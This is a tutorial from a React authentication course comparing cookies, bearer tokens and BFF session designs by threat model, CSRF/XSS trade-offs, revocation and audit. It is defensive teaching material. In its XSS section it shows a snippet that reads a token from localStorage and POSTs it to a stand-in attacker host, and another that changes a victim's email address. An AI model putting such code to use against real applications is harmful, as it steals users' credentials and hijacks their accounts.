Token vs Cookie Decision Framework
Learn React Authentication, Authorization, Identity & Permission/ACL - Part 010
Framework keputusan token vs cookie untuk React apps: threat model, browser storage, CSRF/XSS trade-off, BFF, SSR, API topology, compliance, dan migration strategy.
Token vs Cookie Decision Framework
Pertanyaan “token atau cookie?” sering dijawab terlalu cepat.
Biasanya debatnya seperti ini:
Cookie lebih aman karena HttpOnly.
Token lebih modern karena SPA.
Cookie kena CSRF.
Token kena XSS.
JWT stateless.
Session stateful.
localStorage gampang.
BFF ribet.
Semua kalimat itu bisa benar dalam konteks tertentu, dan menyesatkan dalam konteks lain.
Decision yang benar bukan memilih merek mekanisme. Decision yang benar adalah memilih credential visibility, transport semantics, validation boundary, revocation strategy, and operational model.
Token vs cookie bukan pertanyaan storage saja.
Itu pertanyaan trust boundary.
Part ini membangun framework keputusan yang bisa dipakai saat design review.
1. Pertanyaan yang salah
Pertanyaan yang buruk:
Apakah kita pakai JWT atau cookie?
Kenapa buruk?
Karena JWT dan cookie tidak berada pada kategori yang sama.
- JWT adalah format token/claims.
- Cookie adalah mekanisme penyimpanan dan pengiriman HTTP state.
JWT bisa disimpan di:
- memory
- sessionStorage
- localStorage
- IndexedDB
- cookie
- server-side token store reference
Cookie bisa berisi:
- opaque session id
- signed payload
- encrypted payload
- JWT
- CSRF token
- preference id
Jadi “JWT vs cookie” sering salah kategori.
Pertanyaan yang lebih tepat:
1. Credential apa yang membuktikan session/API access?
2. Credential itu readable oleh JavaScript atau tidak?
3. Credential dikirim otomatis oleh browser atau eksplisit oleh app?
4. Server mana yang memvalidasi credential?
5. Bagaimana credential direvoke dan dirotasi?
6. Attack apa yang menjadi dominant risk: XSS, CSRF, leakage, replay, confused deputy?
2. Vocabulary yang harus presisi
| Istilah | Meaning | Common confusion |
|---|---|---|
| Cookie | HTTP state mechanism | Disangka selalu session server-side |
| Session ID | Opaque identifier untuk server-side session | Disangka sama dengan JWT |
| JWT | Structured signed token format | Disangka selalu access token |
| Access token | Credential untuk resource server | Disangka user profile |
| ID token | OIDC assertion untuk client | Disangka API credential |
| Refresh token | Credential untuk mendapatkan access token baru | Disangka aman disimpan sembarang |
| HttpOnly | Cookie tidak readable via JS | Disangka mencegah semua serangan |
| SameSite | Cookie cross-site send control | Disangka pengganti semua CSRF defense |
| Bearer | Pemegang token bisa menggunakannya | Disangka aman jika token signed |
| BFF | Server khusus frontend yang menyembunyikan token | Disangka cuma proxy biasa |
Precision ini penting karena keputusan arsitektur salah sering berasal dari kata yang kabur.
3. Decision axis utama
Ada sembilan axis yang harus dievaluasi.
Kita bahas satu per satu.
4. Axis 1: Credential visibility
Pertanyaan:
Apakah JavaScript bisa membaca credential?
Ini mungkin axis paling penting.
| Mechanism | JS-readable? | Consequence |
|---|---|---|
| Access token in memory | Yes, during runtime | XSS bisa act as user; persistence rendah |
| Access token in localStorage | Yes, persistent | XSS bisa steal dan persist sampai token expired/revoked |
| Access token in sessionStorage | Yes, per tab | XSS tetap bisa read; scope tab lebih kecil |
| IndexedDB token | Yes | XSS tetap bisa read; lebih kompleks |
| HttpOnly session cookie | No | XSS tidak bisa read cookie, tapi bisa make requests as user while executing |
| BFF cookie + server-side token | Browser JS cannot read downstream token | Token theft risk dari browser jauh lebih kecil |
Important nuance:
HttpOnly prevents JavaScript from reading the cookie.
It does not prevent malicious JavaScript already running in the page from sending same-origin requests.
Jika app terkena XSS, attacker bisa menekan tombol virtual, memanggil API, atau membaca response dari same-origin endpoint selama script berjalan. Jadi HttpOnly mengurangi token theft/reuse, bukan membuat XSS tidak relevan.
4.1 Visibility rule
The more valuable and reusable the credential,
the less it should be readable by JavaScript.
Refresh token lebih berharga daripada access token. Provider token lebih berharga daripada session view. Admin session lebih berharga daripada low-risk anonymous preference.
5. Axis 2: Transport semantics
Pertanyaan:
Apakah credential dikirim otomatis oleh browser, atau eksplisit oleh kode?
| Transport | Example | Benefit | Risk |
|---|---|---|---|
| Automatic cookie | Browser sends Cookie | Simpler requests, HttpOnly possible | CSRF, domain scoping mistakes |
| Explicit header | App sends Authorization | Avoids classic CSRF from plain form/image attacks | JS must hold/read token |
| BFF server-side header | BFF sends downstream bearer | Token hidden from browser | Requires BFF/session infra |
| One-time URL/ticket | Signed URL/WebSocket ticket | Scoped and short-lived | URL/log/referrer leakage if careless |
Cookie automatic sending is a feature and a risk.
Bearer header explicit sending is a feature and a risk.
5.1 Cookie transport example
GET /api/me HTTP/1.1
Host: app.example.com
Cookie: __Host-app_session=sid_abc
React code:
fetch("/api/me", { credentials: "include" });
5.2 Bearer transport example
GET /v1/me HTTP/1.1
Host: api.example.com
Authorization: Bearer eyJ...
React code:
fetch("https://api.example.com/v1/me", {
headers: {
Authorization: `Bearer ${accessToken}`,
},
});
5.3 BFF transport example
Browser to BFF:
GET /api/me HTTP/1.1
Host: app.example.com
Cookie: __Host-bff_session=sid_abc
BFF to API:
GET /v1/me HTTP/1.1
Host: internal-api.example.net
Authorization: Bearer access_token_hidden_from_browser
This is often the best of both worlds for high-risk web apps, with the cost of server-side complexity.
6. Axis 3: XSS dominant risk
XSS changes the token/cookie debate.
6.1 Token in JS-accessible storage under XSS
If attacker can execute JavaScript:
const token = localStorage.getItem("access_token");
fetch("https://attacker.example/steal", {
method: "POST",
body: token,
});
Impact:
- token can be reused outside the victim browser
- attacker may continue after user closes the tab until token expires/revoked
- refresh token theft can extend compromise
6.2 HttpOnly cookie under XSS
Attacker cannot read cookie via document.cookie, but can still do:
await fetch("/api/change-email", {
method: "POST",
credentials: "include",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ email: "attacker@example.com" }),
});
Impact:
- attacker acts as user while script executes
- attacker cannot easily export HttpOnly cookie for later reuse
- server-side step-up/authz/CSRF/origin/user-interaction controls still matter
6.3 XSS conclusion
Token-in-JS and HttpOnly-cookie both suffer under XSS, but differently.
| Under XSS | JS-readable token | HttpOnly cookie/BFF |
|---|---|---|
| Credential theft | High | Lower |
| Same-origin action abuse | High | High |
| Post-tab reuse | Possible until expiry/revocation | Harder without stolen cookie |
| Need CSP/input/output defense | Yes | Yes |
| Need server-side authz | Yes | Yes |
Therefore:
HttpOnly cookie reduces credential exfiltration.
It does not remove the need to prevent and contain XSS.
7. Axis 4: CSRF dominant risk
CSRF matters when browser automatically sends credentials.
Cookie-based auth has CSRF risk because the browser may attach cookies to requests initiated by another site, depending on method, SameSite, and browser behavior.
Bearer header reduces classic CSRF because an attacker site normally cannot add the victim's Authorization header unless it can run code in the victim origin.
7.1 Cookie auth CSRF controls
Production cookie auth should layer controls:
1. SameSite=Lax or Strict where compatible
2. Secure + HttpOnly
3. CSRF token for mutating requests when needed
4. Origin/Referer validation for sensitive mutations
5. No state-changing GET
6. Content-Type restrictions where useful
7. Step-up or user interaction for critical actions
OWASP CSRF guidance recommends defense-in-depth because SameSite alone is not enough for every scenario.
7.2 SameSite trade-off
| SameSite | Behavior | Suitable for |
|---|---|---|
| Strict | Cookie not sent on cross-site navigations | High-security apps, but can affect SSO/deep links |
| Lax | Cookie sent for top-level safe navigations | Common default for many web apps |
| None; Secure | Cookie sent cross-site over HTTPS | Required for some embedded/cross-site flows; highest CSRF scrutiny |
Do not set SameSite=None casually.
7.3 CSRF conclusion
If you choose cookie auth, you must design CSRF.
If you choose bearer tokens, you must design token storage and XSS containment.
This is not “cookie bad” or “token bad”. It is threat shifting.
8. Axis 5: Domain topology
8.1 Same-origin app/API
https://app.example.com
https://app.example.com/api
Good candidates:
- Cookie session
- BFF session
Why:
- no cross-origin token exposure needed;
- simple cookie scoping;
- CSRF manageable;
- SSR/BFF option clean.
8.2 Same-site subdomains
https://app.example.com
https://api.example.com
Good candidates:
- Cookie session with careful domain/SameSite/CORS
- BFF proxy to same-origin
- Bearer token if API topology requires it
Main risks:
- overly broad Domain=.example.com cookies
- subdomain takeover/cookie injection
- CORS allowing too much
- confusion between site and origin
8.3 Cross-site API
https://app.example.com
https://api.vendor.com
Good candidates:
- Bearer token
- BFF proxy
Cookie auth becomes harder because third-party cookie restrictions, SameSite, CORS, and browser privacy behavior can break assumptions.
8.4 Custom domains
https://cases.acme.com
https://app.yourproduct.com
Decision must include:
- Can you set host-only cookies per custom domain?
- Does SSO callback return to custom domain or canonical domain?
- How is tenant context verified server-side?
- How do you avoid session fixation across tenants?
For complex multi-tenant SaaS, BFF/server-side session often simplifies enforcement and audit.
9. Axis 6: API topology
9.1 One API controlled by same team
Cookie/BFF usually wins for browser-only app.
9.2 Many APIs with independent resource servers
Bearer tokens become more natural, but token audience/scope validation must be strict.
access_token audience = case-api
access_token scope = case.read case.write
API must reject token with wrong audience.
9.3 Public API ecosystem
If third-party developers/mobile/native clients use same API, OAuth bearer token architecture is usually necessary.
But browser app can still use BFF while public API uses bearer tokens externally.
Browser -> BFF -> API with bearer token
Mobile -> API with bearer token
Partner -> API with bearer token
Do not force browser to hold tokens just because mobile clients do.
9.4 GraphQL API
GraphQL creates special risk because one request can touch many fields/resources.
Cookie or bearer is less important than:
- field-level auth enforcement server-side
- partial data policy
- error masking
- operation-level audit
- no frontend-only field hiding as security
10. Axis 7: Revocation and rotation
Ask:
If admin removes access now, how fast does the system stop privileged behavior?
10.1 Cookie session with server store
Revocation is direct:
session_store.delete(session_id)
Next request fails.
10.2 Stateless JWT access token
Revocation is harder:
Token remains cryptographically valid until exp.
Mitigations:
- short access token lifetime
- refresh token revocation
- token introspection for high-risk actions
- denylist/jti store where justified
- permission version claim + server-side check
10.3 Refresh token rotation
Modern browser OAuth guidance requires strong handling if refresh tokens are issued to browser-based applications, including rotation or sender-constraining approaches depending on provider capability.
Risk:
Two tabs use old refresh token simultaneously.
Provider sees reuse.
Session may be revoked.
Therefore token session needs:
- single-flight refresh in one tab
- cross-tab coordination
- reuse detection handling
- typed security failure
10.4 BFF revocation
BFF can revoke:
- BFF session
- server-side refresh token reference
- downstream access token cache
- IdP session if supported
This is operationally attractive for high-risk apps.
11. Axis 8: SSR, RSC, loaders, and first render
React auth is not only client-rendered SPA anymore.
You may have:
- Vite SPA
- React Router Data/Framework mode
- Remix-like data loading
- Next.js App Router
- React Server Components
- Edge middleware
- BFF/API route handlers
Cookie/BFF usually integrates better with server-side rendering because server code can read cookies from request headers and fetch data before render.
Bearer token in browser memory does not exist during server render.
11.1 SPA-only flow
Initial HTML -> JS loads -> auth bootstrap -> render app
Risk:
- loading screen
- flash of anonymous/authenticated layout if not careful
- client-only auth decision
11.2 SSR cookie/BFF flow
Request with cookie -> server verifies session -> server renders correct shell/data
Benefit:
- less sensitive UI flash
- better first render
- stronger route/data boundary
11.3 Server Components risk
Server Components can fetch sensitive data before client code runs. That is powerful and dangerous.
Rule:
Any server-side data fetch must enforce auth server-side.
Never rely on a client component guard to protect server-fetched data.
12. Axis 9: Compliance, audit, and incident response
For regulated/enterprise systems, ask:
Can we reconstruct who had access, when, under which session, from which tenant, with which assurance level?
Cookie/BFF/server-side session generally makes this easier.
Token-only architectures can also do it, but require stronger token/event discipline:
- token jti
- session id claim
- subject id
- tenant id
- auth time
- assurance level
- policy version
- audit correlation id
- refresh/revocation events
12.1 Audit events to require
- session.created
- session.refreshed
- session.revoked
- session.expired
- login.succeeded
- login.failed
- logout.requested
- token.refresh.failed
- token.reuse.detected
- permission.changed
- access.denied
- tenant.switched
- step_up.required
- step_up.succeeded
If your mechanism cannot produce these events, it may be too opaque for high-risk systems.
13. The decision tree
14. Recommended defaults
14.1 For enterprise React web app
Default recommendation:
BFF/session cookie, HttpOnly Secure SameSite, server-side token handling,
server-projected session and permission view.
Why:
- downstream tokens hidden from browser;
- easier revocation;
- better SSR/data loading;
- better audit;
- avoids localStorage token trap;
- makes frontend a UI orchestration layer, not security authority.
14.2 For pure SPA with external API and no BFF
Default recommendation:
Authorization Code + PKCE,
short-lived access token,
memory-first token storage,
refresh token rotation if refresh token is issued,
no localStorage for high-value refresh token,
strict API origin allowlist.
Why:
- aligns with modern browser OAuth guidance;
- avoids implicit flow;
- reduces persistence of stolen tokens;
- still requires XSS prevention and refresh race handling.
14.3 For low-risk app with hosted auth provider
Default recommendation:
Use provider SDK, but still write your own auth boundaries:
/session projection, permission contract, typed errors, cache invalidation, and server enforcement.
SDK should not define your authorization architecture.
15. Comparison matrix
| Question | Cookie session | Bearer token in browser | BFF session |
|---|---|---|---|
| JS can read credential? | No if HttpOnly | Yes unless special pattern | Browser cannot read downstream token |
| Credential sent automatically? | Yes | No | Cookie to BFF yes; token server-side |
| Main browser risk | CSRF/session riding/XSS action abuse | XSS token theft/leakage | CSRF to BFF/XSS action abuse |
| Revocation | Strong with server session | Depends on lifetime/introspection/revocation | Strong if server-side state controlled |
| SSR friendly | Yes | Harder | Yes |
| Multi-API friendly | Medium | High | High via proxy/token exchange |
| CORS complexity | Low same-origin; higher cross-origin | Higher | Low if same-origin BFF |
| Operational cost | Medium | Medium then high as edge cases grow | Higher upfront, often lower long-term for high-risk |
| Best for | Web apps, admin, SSR | Public APIs, direct API SPA | Enterprise/regulatory browser apps |
16. Concrete scenario walkthroughs
16.1 Scenario: React admin dashboard
Constraints:
- internal users
- admin actions
- audit required
- same company controls frontend and backend
- no mobile clients for same UI
Decision:
Use BFF or server-side cookie session.
Architecture:
Why not localStorage token?
Because there is no need to expose reusable API credential to JavaScript for this topology.
16.2 Scenario: Public SPA calling public API
Constraints:
- API used by SPA, mobile, partners
- OAuth provider already used
- browser must call API directly
- no BFF budget
Decision:
Use Authorization Code + PKCE, short-lived access token, memory-first token handling.
Required controls:
- no implicit flow
- no token in URL fragments after callback cleanup
- state/nonce validation
- strict redirect URI
- strict API origin allowlist
- refresh single-flight
- no sensitive token logs
- CSP/XSS hardening
16.3 Scenario: Regulated case management
Constraints:
- object-level permission
- state-based authorization
- tenant isolation
- audit defensibility
- step-up for sensitive decisions
- permission changes must apply quickly
Decision:
BFF + server-side session + policy engine + short permission projection TTL.
Why:
The system needs defensibility more than client-side convenience.
17. Token/cookie anti-patterns
17.1 Anti-pattern: localStorage refresh token
localStorage.setItem("refresh_token", refreshToken);
Problem:
Persistent high-value credential readable by any XSS.
Better:
Avoid browser-readable refresh token where possible.
Use BFF/server-side storage, HttpOnly cookie session, or provider-supported rotation with careful browser guidance.
17.2 Anti-pattern: JWT as database
{
"sub": "usr_123",
"email": "ari@example.com",
"roles": ["admin", "billing-admin", "case-approver"],
"allTenants": ["t1", "t2", "t3"],
"permissions": ["...hundreds..."]
}
Problem:
- stale privilege
- large headers
- data exposure
- hard revocation
- token used as profile API replacement
Better:
Keep access token minimal. Fetch session/profile/permission projection from server.
17.3 Anti-pattern: Cookie with broad domain
Set-Cookie: session=abc; Domain=.example.com; Path=/; Secure; HttpOnly
Problem:
Any subdomain risk can become cookie risk.
Better:
Set-Cookie: __Host-app_session=abc; Path=/; Secure; HttpOnly; SameSite=Lax
Use host-only cookies where possible.
17.4 Anti-pattern: Bearer token to arbitrary URL
fetch(urlFromUserInput, {
headers: { Authorization: `Bearer ${token}` },
});
Problem:
Token exfiltration to attacker-controlled origin.
Better:
const allowedOrigins = new Set(["https://api.example.com"]);
const url = new URL(input);
if (!allowedOrigins.has(url.origin)) {
throw new Error("Refusing to attach auth token to untrusted origin");
}
17.5 Anti-pattern: Login redirect open redirect
window.location.href = `/login?returnTo=${window.location.href}`;
Problem:
Can become open redirect/phishing primitive if returnTo not constrained.
Better:
Store relative internal paths only. Validate return URL server-side or against strict allowlist.
18. Migration framework
Many teams are not choosing from zero. They already have a flawed model.
18.1 Migrating from localStorage token to BFF/cookie
Steps:
1. Inventory all token reads/writes
2. Centralize API client token attachment
3. Add /session endpoint that returns safe session view
4. Add BFF/session cookie login callback
5. Move refresh token storage server-side
6. Change API calls to same-origin BFF where possible
7. Remove direct token dependency from components
8. Add logout server revoke + BroadcastChannel
9. Add telemetry for old token usage
10. Remove localStorage token after migration window
18.2 Migrating from role claim to permission projection
Steps:
1. Keep role in backend only as input to policy
2. Introduce /permissions or /session capabilities
3. Replace UI checks with can(action, resource)
4. Add permission version/TTL
5. Enforce all actions server-side
6. Test old role paths vs new capability matrix
18.3 Migrating from cookie session without CSRF
Steps:
1. Identify all mutating endpoints
2. Ensure no state-changing GET
3. Add SameSite policy deliberately
4. Add Origin/Referer validation
5. Add CSRF token mechanism if needed
6. Update fetch wrapper to include CSRF token
7. Monitor rejection rates before enforcing strict mode
19. Design review checklist
Use this during architecture review.
19.1 Credential
[ ] What credential proves continuity?
[ ] Is it opaque or structured?
[ ] Is it bearer or sender-constrained?
[ ] Is it scoped to audience/resource?
[ ] What is its lifetime?
[ ] Can JavaScript read it?
[ ] Can browser extensions access/abuse it?
[ ] Can it leak through URL/referrer/logs?
19.2 Storage and transport
[ ] Where is credential stored?
[ ] Is it sent automatically or explicitly?
[ ] Are cookie attributes set explicitly?
[ ] Is token attached only to trusted origins?
[ ] Is CORS required and constrained?
[ ] Is CSRF addressed for mutating requests?
19.3 Lifecycle
[ ] How is session created?
[ ] Is session regenerated after login?
[ ] How does refresh work?
[ ] Is refresh single-flight?
[ ] How does logout revoke server-side state?
[ ] How does admin revoke access?
[ ] How quickly does privilege removal take effect?
[ ] What happens on IdP outage?
19.4 React boundaries
[ ] Does React ever treat decoded token as authority?
[ ] Does React bootstrap from a server/session authority?
[ ] Are 401 and 403 handled differently?
[ ] Are permission and session states separated?
[ ] Are caches cleared on logout/tenant switch?
[ ] Are multi-tab changes propagated?
19.5 Observability
[ ] Are auth failures typed?
[ ] Is correlation ID attached?
[ ] Are session events audited?
[ ] Can security detect refresh reuse?
[ ] Can support explain why user lacks access?
20. Practical recommendations
20.1 Do this by default
- Treat frontend as UI exposure layer, not enforcement layer
- Prefer HttpOnly cookie/BFF for high-risk browser-only apps
- Use Authorization Code + PKCE for OAuth browser apps
- Avoid implicit flow
- Avoid localStorage for high-value tokens
- Keep access tokens short-lived
- Separate session view from permission view
- Validate every API request server-side
- Use typed 401/403/session errors
- Add logout/revocation/cache invalidation from day one
20.2 Do not do this
- Do not store refresh token in localStorage casually
- Do not use decoded JWT payload as permission authority
- Do not rely on hidden buttons as authorization
- Do not attach bearer token to arbitrary URLs
- Do not set broad cookie domains without reason
- Do not rely only on SameSite for all CSRF cases
- Do not treat AuthProvider state as source of truth
- Do not let every API call implement its own refresh logic
21. Mental model final
The decision is not:
cookie vs token
The decision is:
Who holds the credential?
Who can read it?
Who sends it?
Who validates it?
Who can revoke it?
How does React learn only the safe projection?
A good React auth architecture has a boring answer to every one of those questions.
For high-risk browser apps, the most defensible default is often:
Browser holds HttpOnly session cookie.
BFF/server holds downstream tokens.
React receives safe session and permission projection.
API enforces every request.
Audit records every important transition.
For direct API SPAs, the minimum acceptable baseline is:
Authorization Code + PKCE.
Short-lived access token.
Careful storage.
Refresh rotation/coordination.
Strict origin attachment.
Server-side enforcement.
If only one sentence survives, keep this:
Choose the model that minimizes credential exposure while preserving revocation, enforcement, and operability.
References
- OWASP Session Management Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html
- OWASP Cross-Site Request Forgery Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html
- OWASP HTML5 Security Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html
- RFC 9700, Best Current Practice for OAuth 2.0 Security: https://www.rfc-editor.org/info/rfc9700
- OAuth 2.0 for Browser-Based Applications draft: https://datatracker.ietf.org/doc/html/draft-ietf-oauth-browser-based-apps
- MDN Set-Cookie Header: https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Set-Cookie
You just completed lesson 10 in start here. Use the series map if you want to review the broader track, or continue directly into the next lesson while the context is still warm.
Keep the momentum while the lesson is still fresh. Move backward for review or continue forward into the next concept.